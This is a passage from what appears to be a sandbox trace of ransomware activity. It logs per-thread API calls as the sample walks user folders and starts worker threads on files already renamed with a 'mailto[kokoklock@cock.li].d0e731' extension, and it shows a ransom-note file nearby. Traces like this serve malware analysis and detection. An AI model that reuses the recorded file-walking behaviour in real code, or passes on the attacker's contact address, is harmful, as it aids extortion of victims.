dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f82598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0168.864] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5ca0d0, ftCreationTime.dwHighDateTime=0x1d4cdc9, ftLastAccessTime.dwLowDateTime=0x2553f320, ftLastAccessTime.dwHighDateTime=0x1d4d3bf, ftLastWriteTime.dwLowDateTime=0x82727244, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x16956, dwReserved0=0x0, dwReserved1=0x0, cFileName="ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YEPVEK~1.D0E")) returned 1 [0168.864] wcscmp (_String1="ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.864] wcscmp (_String1="ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.864] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fe3d60 [0168.864] wcscpy (in: _Dest=0x2fe3d60, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.864] wcscat (in: _Dest=0x2fe3d60, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.864] wcscat (in: _Dest=0x2fe3d60, _Source="ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ye pveKePv_.bmp.mailto[kokoklock@cock.li].d0e731" [0168.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3d60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0168.865] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e900620, ftCreationTime.dwHighDateTime=0x1d4cb2d, ftLastAccessTime.dwLowDateTime=0xf3110940, ftLastAccessTime.dwHighDateTime=0x1d4c66a, ftLastWriteTime.dwLowDateTime=0x82cfbacf, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7a45, dwReserved0=0x0, dwReserved1=0x0, cFileName="yNr0x7.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YNR0X7~1.D0E")) returned 1 [0168.865] wcscmp (_String1="yNr0x7.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.865] wcscmp (_String1="yNr0x7.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.865] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe5690 [0168.865] wcscpy (in: _Dest=0x2fe5690, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.865] wcscat (in: _Dest=0x2fe5690, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.865] wcscat (in: _Dest=0x2fe5690, _Source="yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\yNr0x7.gif.mailto[kokoklock@cock.li].d0e731" [0168.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe5690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418 [0168.866] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ce5390, ftCreationTime.dwHighDateTime=0x1d4cdf1, ftLastAccessTime.dwLowDateTime=0x58c34390, ftLastAccessTime.dwHighDateTime=0x1d4cf42, ftLastWriteTime.dwLowDateTime=0x82d4816e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x5dde, dwReserved0=0x0, dwReserved1=0x0, cFileName="YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="YOC6HB~1.D0E")) returned 1 [0168.866] wcscmp (_String1="YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.866] wcscmp (_String1="YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.866] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6e3f0 [0168.866] wcscpy (in: _Dest=0x2f6e3f0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.866] wcscat (in: _Dest=0x2f6e3f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.866] wcscat (in: _Dest=0x2f6e3f0, _Source="YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\YOC6HBl41CaRP37U4Y5.jpg.mailto[kokoklock@cock.li].d0e731" [0168.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0168.866] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ba34ae0, ftCreationTime.dwHighDateTime=0x1d4cad5, ftLastAccessTime.dwLowDateTime=0x5d367ad0, ftLastAccessTime.dwHighDateTime=0x1d4cf03, ftLastWriteTime.dwLowDateTime=0x82d6e197, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x149dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="ZN5ZPC~1.D0E")) returned 1 [0168.867] wcscmp (_String1="ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.867] wcscmp (_String1="ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.867] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fe3ae0 [0168.867] wcscpy (in: _Dest=0x2fe3ae0, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.867] wcscat (in: _Dest=0x2fe3ae0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.867] wcscat (in: _Dest=0x2fe3ae0, _Source="ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\ZN5ZpCbSIXoy.gif.mailto[kokoklock@cock.li].d0e731" [0168.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe3ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0168.867] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210a10c0, ftCreationTime.dwHighDateTime=0x1d4d017, ftLastAccessTime.dwLowDateTime=0xcfd1e070, ftLastAccessTime.dwHighDateTime=0x1d4cad5, ftLastWriteTime.dwLowDateTime=0x82d944d4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x160e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="_v9MbKB.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="_V9MBK~1.D0E")) returned 1 [0168.867] wcscmp (_String1="_v9MbKB.png.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.867] wcscmp (_String1="_v9MbKB.png.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.868] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8c) returned 0x2fe4a18 [0168.868] wcscpy (in: _Dest=0x2fe4a18, _Source="C:\\Users\\FD1HVy\\Pictures" | out: _Dest="C:\\Users\\FD1HVy\\Pictures") returned="C:\\Users\\FD1HVy\\Pictures" [0168.868] wcscat (in: _Dest=0x2fe4a18, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0168.868] wcscat (in: _Dest=0x2fe4a18, _Source="_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\_v9MbKB.png.mailto[kokoklock@cock.li].d0e731" [0168.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c [0168.868] FindNextFileW (in: hFindFile=0x2f7fea0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210a10c0, ftCreationTime.dwHighDateTime=0x1d4d017, ftLastAccessTime.dwLowDateTime=0xcfd1e070, ftLastAccessTime.dwHighDateTime=0x1d4cad5, ftLastWriteTime.dwLowDateTime=0x82d944d4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x160e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="_v9MbKB.png.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="_V9MBK~1.D0E")) returned 0 [0168.868] FindClose (in: hFindFile=0x2f7fea0 | out: hFindFile=0x2f7fea0) returned 1 [0168.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25e0) returned 1 [0168.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0168.868] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0168.869] RtlExitUserThread (Status=0x0) Thread: id = 1724 os_tid = 0x1fc [0168.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x38) returned 0x2f7fb20 [0168.622] wcscpy (in: _Dest=0x2f7fb20, _Source="C:\\Users\\FD1HVy\\PrintHood" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood") returned="C:\\Users\\FD1HVy\\PrintHood" [0168.622] wcscat (in: _Dest=0x2f7fb20, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood\\") returned="C:\\Users\\FD1HVy\\PrintHood\\" [0168.622] wcscat (in: _Dest=0x2f7fb20, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\PrintHood\\*") returned="C:\\Users\\FD1HVy\\PrintHood\\*" [0168.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0168.622] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\PrintHood\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.622] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0168.622] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fb20) returned 1 [0168.622] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0168.622] RtlExitUserThread (Status=0x0) Thread: id = 1725 os_tid = 0x20c [0168.623] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x32) returned 0x2f80860 [0168.623] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Users\\FD1HVy\\Recent" | out: _Dest="C:\\Users\\FD1HVy\\Recent") returned="C:\\Users\\FD1HVy\\Recent" [0168.623] wcscat (in: _Dest=0x2f80860, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Recent\\") returned="C:\\Users\\FD1HVy\\Recent\\" [0168.623] wcscat (in: _Dest=0x2f80860, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Recent\\*") returned="C:\\Users\\FD1HVy\\Recent\\*" [0168.623] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0168.623] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Recent\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0168.624] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0168.624] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80860) returned 1 [0168.624] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b0) returned 1 [0168.624] RtlExitUserThread (Status=0x0) Thread: id = 1726 os_tid = 0x25c [0168.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3c) returned 0x2f87230 [0168.625] wcscpy (in: _Dest=0x2f87230, _Source="C:\\Users\\FD1HVy\\Saved Games" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games") returned="C:\\Users\\FD1HVy\\Saved Games" [0168.625] wcscat (in: _Dest=0x2f87230, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games\\") returned="C:\\Users\\FD1HVy\\Saved Games\\" [0168.625] wcscat (in: _Dest=0x2f87230, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Saved Games\\*") returned="C:\\Users\\FD1HVy\\Saved Games\\*" [0168.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0168.625] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Saved Games\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80860 [0168.625] wcscmp (_String1=".", _String2=".") returned 0 [0168.625] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd45b644a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.625] wcscmp (_String1="..", _String2=".") returned 1 [0168.625] wcscmp (_String1="..", _String2="..") returned 0 [0168.625] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.625] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.625] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.625] FindNextFileW (in: hFindFile=0x2f80860, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x441f699e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441f699e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce4e13d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0168.626] FindClose (in: hFindFile=0x2f80860 | out: hFindFile=0x2f80860) returned 1 [0168.626] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0168.626] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87230) returned 1 [0168.626] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f802e0) returned 1 [0168.626] RtlExitUserThread (Status=0x0) Thread: id = 1727 os_tid = 0x268 [0168.627] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f80860 [0168.627] wcscpy (in: _Dest=0x2f80860, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0168.627] wcscat (in: _Dest=0x2f80860, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0168.627] wcscat (in: _Dest=0x2f80860, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\*") returned="C:\\Users\\FD1HVy\\Searches\\*" [0168.627] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0168.627] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Searches\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x80973980, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80973980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f802e0 [0168.631] wcscmp (_String1=".", _String2=".") returned 0 [0168.631] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x80973980, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80973980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.631] wcscmp (_String1="..", _String2=".") returned 1 [0168.631] wcscmp (_String1="..", _String2="..") returned 0 [0168.631] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80902af4, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x80902af4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x80902af4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0168.631] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0168.631] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0168.631] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0168.631] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0168.631] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0168.631] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44269063, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44269063, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x80902af4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EVERYW~1.D0E")) returned 1 [0168.631] wcscmp (_String1="Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.631] wcscmp (_String1="Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.631] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2feeb70 [0168.631] wcscpy (in: _Dest=0x2feeb70, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0168.631] wcscat (in: _Dest=0x2feeb70, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0168.631] wcscat (in: _Dest=0x2feeb70, _Source="Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Searches\\Everywhere.search-ms.mailto[kokoklock@cock.li].d0e731" [0168.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feeb70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0168.828] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x44242e24, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44242e24, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x8092752c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="INDEXE~1.D0E")) returned 1 [0168.828] wcscmp (_String1="Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.828] wcscmp (_String1="Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.828] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83fd8 [0168.828] wcscpy (in: _Dest=0x2f83fd8, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0168.828] wcscat (in: _Dest=0x2f83fd8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0168.828] wcscat (in: _Dest=0x2f83fd8, _Source="Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms.mailto[kokoklock@cock.li].d0e731" [0168.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83fd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0168.829] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b71b019, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b71b019, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x80973980, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x417, dwReserved0=0x0, dwReserved1=0x0, cFileName="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="WINRT-~1.D0E")) returned 1 [0168.829] wcscmp (_String1="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0168.829] wcscmp (_String1="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0168.829] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f96a28 [0168.829] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\Users\\FD1HVy\\Searches" | out: _Dest="C:\\Users\\FD1HVy\\Searches") returned="C:\\Users\\FD1HVy\\Searches" [0168.829] wcscat (in: _Dest=0x2f96a28, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\") returned="C:\\Users\\FD1HVy\\Searches\\" [0168.829] wcscat (in: _Dest=0x2f96a28, _Source="winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Searches\\winrt--{S-1-5-21-1051304884-625712362-2192934891-1000}-.searchconnector-ms.mailto[kokoklock@cock.li].d0e731" [0168.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0168.830] FindNextFileW (in: hFindFile=0x2f802e0, lpFindFileData=0x2fe2848 | out: 